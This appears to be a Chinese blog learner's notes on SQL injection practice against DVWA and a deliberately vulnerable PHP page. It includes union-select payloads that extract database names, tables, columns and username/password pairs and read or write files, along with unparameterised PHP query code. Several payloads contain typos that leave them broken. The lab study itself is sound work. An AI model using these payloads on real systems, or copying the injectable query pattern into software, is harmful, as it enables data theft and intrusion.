前言:

继续进行未完成的sql注入学习

今天学习了各类型注入。前来进行总结。

目录:

数字型注入

字符型注入

提交注注入

GET注入

POST注入

COOKIE注入

正文:

数字型注入:www.xxxx.com?/xx.php?id=1 and 1=1
可以直接注入不需要闭合单引号.
sql执行出的语句:select * from user where id=1 and 1=1
 
 
需要闭合注入,否则注入语句都会变为字符串
sql执行出的语句:select * from where frit_name='lis'
 
 
 
判断是否为字符型注入: DVWA为例子
输入1返回正确

输入1'返回错误

 
 
由此可以判断出为字符型注入
尝试猜字段
1' order by 1 #

1' order by 1,2 #

1' order by 1,2,3 #,报错,字段为2
爆显位
1' union select 1,2 #
获取数据库名,1' union select database(),2 #
用户名 1' union select user(),2 #  root权限
数据库版本 1' union select vsersion(),2 #
猜解所有表名 1' union select table_name,2 from information_schema.tables #
猜解所有字段名 1' union select column_name,2 from information_columns #
读取文件= =读不出来蛮尴尬的。
1' union select load_file('xxx'),2 #

写入文件的语句

1' union select 'xxxxx' into outfile 'xxx.txt' #

GET注入:

GET注入,顾名思义GET。只要注入的时候

用GET的方式提交就好。

and 1=1

and 1=2

order by 1,2,3

union select database(),version(),user()

union select table_name,2,3 from information_schema where table_schema=HEX #指定数据库的HEX编码

union select column_name,2,3 from informtaion_schema where table_name=HEX #指定数据库的HEX编码

union select 指定字段名 from 指定表名 例:union select username,password from user

POST注入:

提交方式用POST方式提交

POST.html代码

<html>
<head>
<title>POST注入</title>
</head>
<body>
<div style="color:blue;text-align:center">
<h2>POST注入尝试</h2>
<form action="sqlin.php" method="POST">
<input type="text" name="x">
<input type="submit" value="提交">
</form>
</div>
</body>
</html>

  

sqllin.php代码

//fendo数据库root用户连接mysql数据库,操作user表
<?
$id= $_POST['x'];//接受get传递的参数名x的值并赋值给变量id
$conn = mysql_connect('127.0.0.1','root','root');//连接mysql数据库
mysql_select_db('fendo',$conn);//选择$conn连接请求下的test数据库名
$sql = "select * from user where id=$id";//定义sql语句并组合变量id
$result = mysql_query($sql);//执行sql语句并返回给变量result
while($row = mysql_fetch_array($result)){//遍历数组数据并显示
echo "ID".$row['id']."</br>";
echo "用户名".$row['username']."</br>";
echo "密码".$row['password']."</br>";
}
mysql_close($conn);//关闭数据库连接
echo "<hr>";
echo "当前语句:";
echo $sql;
?>

 尝试注入

1 and 1=1

1 and 1=2

存在注入。

猜长度

1 order by 1 #返回正常

1 order by 1,2 #返回正常

1 order by 1,2,3 #返回正常

1 order by 1,2,3,4 #返回错误

长度为3

获取数据库名,数据库版本,数据库用户

1 union select databse(),version(),user()

爆出DVWA的表

1 union select table_name,2,3 from information_schema.tables where table_schema=0x64767761

爆出DVWA下users表的字段

1 union select column_name,2,3 from inforamtion_schema.columns where table_name=0x7573657273

爆出我要的字段

1 union select username,password,3 from user

Cookie注入:

cookie注入:点我看详细注入

学习完这些后,可以画出这么一幅图

盲注目前还没学

SQL类型注入的更多相关文章

  1. (后端)sql手工注入语句&SQL手工注入大全(转)

    转自脚本之家: 看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) f ...

  2. 最新SQL手工注入语句&SQL注入大全

    看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) from syso ...

  3. 一次简单的SQL手工注入

    1. 首先要了解SQL注入的原理:   SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 具体来说,它是利 ...

  4. SQL手工注入基础篇

    0.前言 本篇博文是对SQL手工注入进行基础知识的讲解,更多进阶知识请参考进阶篇(咕咕),文中有误之处,还请各位师傅指出来.学习本篇之前,请先确保以及掌握了以下知识: 基本的SQL语句 HTTP的GE ...

  5. SQL手工注入进阶篇

    0.前言 上一篇我们介绍了SQL手工注入的流程以及步骤,但在实际的安全问题以及CTF题目中,查询语句多种多样,而且是肯定会对用户的输入进行一个安全过滤的,而这些过滤并不一定是百分百安全的,如何利用一些 ...

  6. Spring练习,使用Properties类型注入方式,注入MySQL数据库连接的基本信息,然后使用JDBC方式连接数据库,模拟执行业务代码后释放资源,最后在控制台输出打印结果。

    相关 知识 >>> 相关 练习 >>> 实现要求: 使用Properties类型注入方式,注入MySQL数据库连接的基本信息,然后使用JDBC方式连接数据库,模拟执 ...

  7. 在Hdsi2.0 SQL的注入部分抓包分析语句

    在Hdsi2.0 SQL的注入部分抓包分析语句 恢复cmd ;insert tb1 exec master..xp_cmdshell''net user ''-- ;exec master.dbo.s ...

  8. SQL防注入程序 v1.0

    /// ***************C#版SQL防注入程序 v1.0************ /// *使用方法: /// 一.整站防注入(推荐) /// 在Global.asax.cs中查找App ...

  9. [原创]java WEB学习笔记81:Hibernate学习之路--- 对象关系映射文件(.hbm.xml):hibernate-mapping 节点,class节点,id节点(主键生成策略),property节点,在hibernate 中 java类型 与sql类型之间的对应关系,Java 时间和日期类型的映射,Java 大对象类型 的 映射 (了解),映射组成关系

    本博客的目的:①总结自己的学习过程,相当于学习笔记 ②将自己的经验分享给大家,相互学习,互相交流,不可商用 内容难免出现问题,欢迎指正,交流,探讨,可以留言,也可以通过以下方式联系. 本人互联网技术爱 ...

随机推荐

  1. 控制input只能输入数字和两位小数

    <input type="text" name="je" onkeyup="clearNoNum(this)" /> funct ...

  2. linux --> Event Loop介绍

    Event Loop介绍 想要理解Event Loop,就要从程序的运行模式讲起.运行以后的程序叫做"进程"(process),一般情况下,一个进程一次只能执行一个任务. 如果有很 ...

  3. linux下安装Sublime Text3并将它的快捷方式放进启动器中

    Sublime Text是一个代码编辑器,我主要是用它来编辑python.下面就来简单说明下它在linux的安装过程吧! 1.添加sublime text3的仓库 首先按下快捷键ctrl+alt+t打 ...

  4. docker 学习之一:docker 安装

    核心概念1. 镜像是一个只读的模板类似于安装系统用到的那个iso文件我们通过镜像来完成各种应用的部署. 2. docker容器镜像类似于操作系统而容器类似于虚拟机本身.它可以被启动.开始.停止.删除等 ...

  5. Beta冲刺第六天

    一.昨天的困难 没有困难. 二.今天进度 1.林洋洋:更新申请ip为域名,去除druid数据源统计 2.黄腾达:协作详情中添加成员对话框优化 3.张合胜:修复侧栏菜单mini状态下不能显示问题 三.明 ...

  6. centos7下搭建sentry错误日志服务器

    1. docker 安装(方法一) 1.确保yum packages 是最新的 $ sudo yum update 2.添加yum repo $ sudo tee /etc/yum.repos.d/d ...

  7. socketpair创建双向通信的管道(全双工通信)

    Linux下socketpair介绍: socketpair创建了一对无名的套接字描述符(只能在AF_UNIX域中使用),描述符存储于一个二元数组,例如sv[2] .这对套接字可以进行双工通信,每一个 ...

  8. 201621123031 《Java程序设计》第3周学习总结

    Week03-面向对象入门 1. 本周学习总结 初学面向对象,会学习到很多碎片化的概念与知识.尝试学会使用思维导图将这些碎片化的概念.知识点组织起来.请使用工具画出本周学习到的知识点及知识点之间的联系 ...

  9. 6块300G SCSI RAID5,两块硬盘损坏的数据恢复总结

    [用户单位]XXXX网站[数据恢复故障描述]DELL POWEREDGE 2850服务器,内置6块300G SCSI硬盘 ,组成RAID5,安装LINUX REDHAT 4操作系统,存储大量照片,文件 ...

  10. Filter 和 interceptor 的区别

    1. 拦截器 interceptor ● 特点:interceptor 依赖于web框架,在Spring<MV中就是依赖于springMVC框架.在实现上是基于Java的反射机制,属于面向切面编 ...